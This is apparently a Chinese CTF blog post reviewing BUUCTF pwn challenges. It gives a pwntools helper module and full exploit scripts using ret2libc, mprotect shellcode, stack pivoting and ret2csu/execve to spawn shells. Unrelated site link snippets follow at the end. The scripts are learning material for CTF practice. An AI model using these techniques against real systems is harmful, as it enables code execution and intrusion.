buu第一页复盘
这里就对之前第一遍没写出来的题目再写一次wp
写在之前
贴一下我的模块文件
from pwn import *
from LibcSearcher import *
from struct import *
def debug(io):
gdb.attach(proc.pidof(io)[0])
pause()
def show_libc_base(libc_base):
print("-----------libc_base-------------")
print(hex(libc_base))
print("---------------------------------")
def csu_frame(csu_end_addr, csu_front_addr, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
rbx = 0
rbp = 0x1
csu_payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
csu_payload += p64(csu_front_addr)
csu_payload += b'a' * 0x38
csu_payload += p64(last)
sleep(1)
return csu_payload
def sigframe(fun, rdi, rsi, rdx, rsp, rip):
sigframe = SigreturnFrame()
if fun == 'read':
sigframe.rax = constants.SYS_read
if fun == 'execve':
sigframe.rax = constants.SYS_execve
sigframe.rdi = rdi
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
# rip 一般为 syscall 的地址
sigframe.rip = rip
return sigframe
def mprotect_frame(pop3ret, bss):
# the last three number of bss address must be 000
payload = flat(elf.symbols['mprotect'], pop3ret, bss, 0xff, 0x7, elf.symbols['gets'], bss, bss)
return payload
第七题 第五空间2019 决赛]PWN5
即格式化字符串的应用
从esp往下数(不包括esp),第十个即为第一个参数的地址
第十二题 get_started_3dsctf_2016
之前学长讲了一下这个的求偏移的方法,但是想了很久都没有理解,所以自己又想了一些通过动调获得偏移的方法
直接:
然后用python测试长度,并获得偏移
后面的就很简单了,是静态编译的并且存在后门函数
ps: 后来尝试用 brop 的方法试了一下,但是不知道什么原因爆破不出来,看来 brop 的方法我还需要用很多题目一起研究一下
第十五题 [OGeek2019]babyrop
主函数
惯例使用 ret2libc
1.泄露libc地址
1.然后直接就可以通了(卡住后一般动调一下就好了)
exp如下
from my_base_pwn import *
from my_brop import *
pwn = "./pwn"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
elf = ELF(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
main_addr = 0x08048825
pop3ret = 0x080488f9
payload1 = b'\x00'
payload1 += b'\xff' * 8
io.send(payload1)
io.recv()
# debug()
payload2 = cyclic(0xe7 + 4)
payload2 += flat(elf.symbols['write'], pop3ret, 1, elf.got['write'], 0x4, main_addr)
io.send(payload2)
write_add = u32(io.recv(4))
libc_base = write_add - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + (next(libc.search(b'/bin/sh\x00')))
show_libc_base(libc_base)
payload3 = payload1
io.send(payload3)
io.recv()
payload4 = cyclic(0xe7 + 4)
payload4 += flat(system_addr, 0, binsh)
io.send(payload4)
io.interactive()
第十九题 not_the_same_3dsctf_2016
尝试使用 mprotect 解决问题
可以发现使用后出现 rwe 段了
from my_base_pwn import *
from my_brop import *
pwn = "./not_the_same_3dsctf_2016"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
elf = ELF(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
bss = 0x80ec000
# io.recv()
rop.raw(cyclic(0x2d))
rop.mprotect(bss,0xff,0x7)
rop.main()
payload1 = rop.chain()
io.sendline(payload1)
# debug()
sleep(0.1)
rop = ROP(pwn)
rop.raw(cyclic(0x2d))
rop.read(0, bss, 0xff)
rop.main()
payload2 = rop.chain()
io.sendline(payload2)
sleep(0.1)
payload3 = asm(shellcraft.sh())
io.sendline(payload3)
sleep(0.1)
payload4 = cyclic(0x2d)
payload4 += flat(bss)
io.sendline(payload4)
io.interactive()
然后就很轻松了。
ok,前几天学的东西确实可以极大的提高我的写题速度,不过也不能过于依赖这些东西,或者多想想这些代码背后的逻辑。
不过发现这几天一直在看pwntools源码还是很不错的。
第二十六题 ciscn_2019_es_2
无法直接进行栈溢出
发现可以泄露栈地址
调试后发现可以泄露
且多次调试后发现泄露出来的值与ebp此时的值有固定的偏移
思路出来了,先利用 vul 的 ret 进行栈迁移并构造rop链,再利用主函数的 ret 获取 shell
直接迁移到ebp的位置(迁移地址为泄露地址减10),根据崩溃时的位置和栈情况观察主函数返回地址的位置,我们发送 0x28 个垃圾字节
可以发现返回到了迁移后ebp返回地址的的前一个单位
存个疑问,一般不是在后面的一个地址吗
存在漏洞利用函数
但是发现 next(elf.search(b'sh\x00')) 一直报错,看样子这两个地方的字符串不能随意使用。所以打算自己写入一个 sh。
后来发现无法写入,然后打算直接写入栈
并且发现写入 elf.symbols['read'] 之前没法使用,动调时发现地址发生改变。
最终payload如下
from my_base_pwn import *
from my_brop import *
pwn = "./ciscn_2019_es_2"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
pop3ret = 0x08048699
bss = 0x804b800
leave_ret = 0x08048562
# debug()
io.recvline()
payload1 = cyclic(0x24)
io.send(payload1)
io.recv(0x27)
add1 = u32(io.recv(4))
add2 = u32(io.recv(4))
add3 = u32(io.recv(4))
log.success('add3 ' + str(hex(add3)))
# log.success('add2 ' + str(hex(add2)))
aim_migrate = add3 - 0x10 -0x28
# debug()
payload2 = flat(b'aaaa', elf.symbols['system'], b'aaaa', aim_migrate + 16, b'/bin/sh\x00')
payload2 = payload2.ljust(0x28,b'a')
payload2 += flat(aim_migrate, leave_ret)
io.send(payload2)
io.recvuntil(b'ello,')
io.interactive()
同时探讨了一下 rop.migrate() 的作用
发现它是利用 return addr 进行迁移的,所以比通常的迁移要多出一个单位数据。
第三十一题 ciscn_2019_s_3
一个是远程的csu相关偏移不同,还有就是本地的偏移寻找有一定难度
我的脚本:
from my_base_pwn import *
from my_brop import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
pwn = "./ciscn_s_3"
io = process(pwn)
# io = remote("node5.buuoj.cn", 27488)
elf = ELF(pwn)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
csu_end = 0x000000000040059A
csu_front = 0x0000000000400580
rax_ini = 0x00000000004004e2
syscall = 0x0000000000400501
vul_func = 0x00000000004004ED
rdi = 0x00000000004005a3
rsi_r15 = 0x00000000004005a1
ret = 0x00000000004003a9
payload1 = cyclic(0x10)
payload1 += flat(vul_func)
# debug()
io.sendline(payload1)
# debug()
io.recv(0x20)
# test_addr = u64(io.recv(6).ljust(8,b'\x00'))
# io.recv(0x10 - 6)
# print(hex(test_addr))
buf_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(buf_addr))
# debug()
debug()
binsh = buf_addr - 0x148
# 远程是下面这个 -0x118
# binsh = buf_addr - 0x118
payload2 = b'/bin/sh\x00' + cyclic(0x8)
payload2 += csu_frame(csu_end, csu_front, binsh + 0x98, 0, 0, 0, rdi)
payload2 += flat(binsh, rax_ini, ret, syscall)
io.sendline(payload2)
io.interactive()
使用ret2csu的时候,需要注意以下偏移的问题
可以发现该脚本泄露出的地址减去 0x148 即为程序写入的地址
检验了一下
同时注意一下 r12 应该传入的数值为一个内容可被再次解析的地址,假如我 0x7ffc0dfa7ea8 保存的是 0x400304 ,且 0x400304 的地址是可执行的汇编代码,然后把 0x7ffc0dfa7ea8 传入才不会报错(这段的数字都是我自己造的)
然后可以计算一下偏移,直接利用代码进行计算就行
有些疑惑就先存着吧,以后转回来看看
buu第一页复盘的更多相关文章
- 论Top与ROW_NUMBER读取第一页的效率问题
10.29 前一段时间研究关于分页的问题,由于数据库属于百万级的,考虑了关于优化方面的问题.其中一个考虑是:第一页展现的频率肯定是最高的,所以我想第一页就使用Top N来读取. 这个想法本身是没有错, ...
- INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页
INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页 作者:xin 日期:2005-09-23 字体大小: 小 中 大 VPatch 在 INNO 中的应用. VPatch 属于专为NS ...
- python使用get在百度搜索并保存第一页搜索结果
python使用get在百度搜索并保存第一页搜索结果 作者:vpoet mail:vpoet_sir@163.com 注:随意copy,不用在意我的感受 #coding:utf-8 import ur ...
- ViewPagerWithImageDemo【ViewPager如何判断滑动到第一页和最后一页以及弹出对话框功能】
版权声明:本文为HaiyuKing原创文章,转载请注明出处! 前言 记录viewpager滑动的时候弹出对话框的功能(关键功能是滑动弹出对话框后,隐藏对话框的时候当前页可以还原到原位置),顺便判断首页 ...
- php分页数据最后一页继续追加第一页数据
之前做数据分页遇到这样一个需求,就是数据到最后一页的时候不能中断,继续把第一页的数据追加到后面,无限显示下去. 原文地址:代码汇个人博客 http://www.codehui.net/info/23. ...
- bootstrapTable刷新当前页码不变和从第一页开始查询
function searchAgencyProject(){ $("#statisticalProjectListTable").bootstrapTable('refresh' ...
- word2003设置页码不从第一页开始的方法
问题描述:如果你想设置页码从第三四页开始,前边不要页码,或者前边的页码是不同类型的.那么这个时候就要用到:插入->分隔符模式. 如果你的页面中的各个标题是从样式和格式中选择的,既是你先设置好各种 ...
- Word中摘要和正文同时分栏后,正文跑到下一页,怎么办?或Word分栏后第一页明明有空位后面的文字却自动跳到第二页了,怎么办?
问题1:Word中摘要和正文同时分栏后,正文跑到下一页,怎么办?或Word分栏后第一页明明有空位后面的文字却自动跳到第二页了,怎么办? 答:在word2010中,菜单栏中最左侧选“文件”->“选 ...
- BZOJ第一页刷题计划
BZOJ第一页刷题计划 已完成:67 / 90 [BZOJ1000]A+B Problem:A+B: [BZOJ1001][BeiJing2006]狼抓兔子:最小割: [BZOJ1002][FJOI2 ...
- Word 2007 如何设置正文第一页----目录显示正文从第一页开始
最近学校里开始要求写论文了,其中有个目录中的页码都不是从第一页开始的,毕竟前面还有封面.中英文摘要.目录等,所以正文内容就不是从第一页开始的了,但是很多的书上所有正文都是从第一页开始的,我的论文如何才 ...
随机推荐
- SpringBoot中优雅地实现统一响应对象
目录 前言 实现步骤 定义统一响应对象类 定义一个忽略响应封装的注解 实现ResponseBodyAdvice接口 定义Controller类 总结 前言 近日心血来潮想做一个开源项目,目标是做一款可 ...
- KB0001.修改DoraCloud管理系统的IP地址
KB0001.修改DoraCloud管理系统的IP地址 DoraCloud 管理系统是一个CentOS Linux的虚拟机.我们既可以通过DoraCloud后台管理系统修改它的IP地址,也可以通过Ce ...
- Linux-crontab的使用
一.什么是crontab?crontab 是有cron (crond) 这个系统服务来控制的,cron服务是linux的内置服务,类似于window下的计划任务,但它不会开机自动启动 二.如何使用?c ...
- JS leetcode 买卖股票的最佳时机 题解分析,我离职了。
壹 ❀ 引 昨天下班后,还是找经理提出了辞职,没有犹豫的裸辞,今天与人事的对话不小心被后台的同事听到,一下在公司传开了,下午我与同事们多人对线,被他们的消息轰炸....没错,我真的要走了. 因为什么原 ...
- 盘点 Udemy 上最受欢迎的免费编程课程
之前给大家推荐过一些油管上的免费学习资源,如果您还没有看过的话可以点击这里前往. 今天再给大家推荐一批Udemy上超高质量并且免费的编程课程,有需要的小伙伴可以学起来了. 1. JavaScript ...
- C# EnumWindows示例代码
代码开箱即用,唯一需要处理的就是要提供一个进程的pid. using System; using System.Collections.Generic; using System.Linq; usin ...
- win32 - 关于GDI的RGB的数据分析
此文章为小结,仅供参考. 第一种情况,从桌面DC获取RGBA的数据. 32位 HDC hdc, hdcTemp; RECT rect; BYTE* bitPointer; int x, y; int ...
- 新零售SaaS架构:订单履约系统的应用架构梳理
订单履约系统的核心能力 通过分析订单履约的全流程和各个业务活动,我们可以梳理出订单履约的核心业务链路,基于业务链路,我们抽象出订单履约系统的三大系统能力,分别为履约服务表达.履约调度.物流配送. 履约 ...
- 用Taro写一个微信小程序——渲染 HTML
在taro小程序里面渲染一段html代码,具体可查看文档https://docs.taro.zone/docs/html 一.渲染 HTML 文档推荐使用 dangerouslySetInnerHTM ...
- .NET 链接数据库:证书链是由不受信任的颁发机构颁发的
错误信息 证书链是由不受信任的颁发机构颁发的 错误环境 .NET web.config链接数据库(发布到服务)时报错 解决方法 下面配置标红部分在你的代码配置中增加或者修改 <add name= ...